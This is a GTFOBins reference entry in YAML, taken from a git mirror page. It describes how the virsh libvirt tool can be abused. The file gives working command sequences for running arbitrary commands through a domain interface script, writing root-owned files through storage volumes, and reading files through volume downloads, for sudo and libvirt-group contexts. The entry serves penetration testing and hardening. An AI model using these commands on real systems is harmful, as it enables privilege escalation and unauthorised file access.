1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/virsh
2026-01-15 23:28:21 +01:00

67 lines
2.1 KiB
Plaintext

---
functions:
command:
- code: |-
cat >/path/to/temp-file.xml <<EOF
<domain type='kvm'>
<name>x</name>
<os>
<type arch='x86_64'>hvm</type>
</os>
<memory unit='KiB'>1</memory>
<devices>
<interface type='ethernet'>
<script path='/path/to/command'/>
</interface>
</devices>
</domain>
EOF
virsh -c qemu:///system create /path/to/temp-file.xml
virsh -c qemu:///system destroy x
contexts:
sudo:
file-write:
- code: |-
echo DATA >/path/to/temp-file
cat >/path/to/temp-file.xml <<EOF
<volume type='file'>
<name>y</name>
<key>/path/to/output-dir/output-file</key>
<source>
</source>
<capacity unit='bytes'>5</capacity>
<allocation unit='bytes'>4096</allocation>
<physical unit='bytes'>5</physical>
<target>
<path>/path/to/output-dir/output-file</path>
<format type='raw'/>
<permissions>
<mode>0600</mode>
<owner>0</owner>
<group>0</group>
</permissions>
</target>
</volume>
EOF
virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/
virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml
virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file
virsh -c qemu:///system pool-destroy x
comment: |-
This requires the user to be in the `libvirt` group. If the target directory doesn't exist, `pool-create-as` must be run with the `--build` option. The destination file ownership and permissions can be set in the XML.
contexts:
sudo:
unprivileged:
- code: |-
virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/
virsh -c qemu:///system vol-download --pool x input-file output-file
virsh -c qemu:///system pool-destroy x
comment: |-
This requires the user to be in the `libvirt` group.
contexts:
sudo:
unprivileged:
...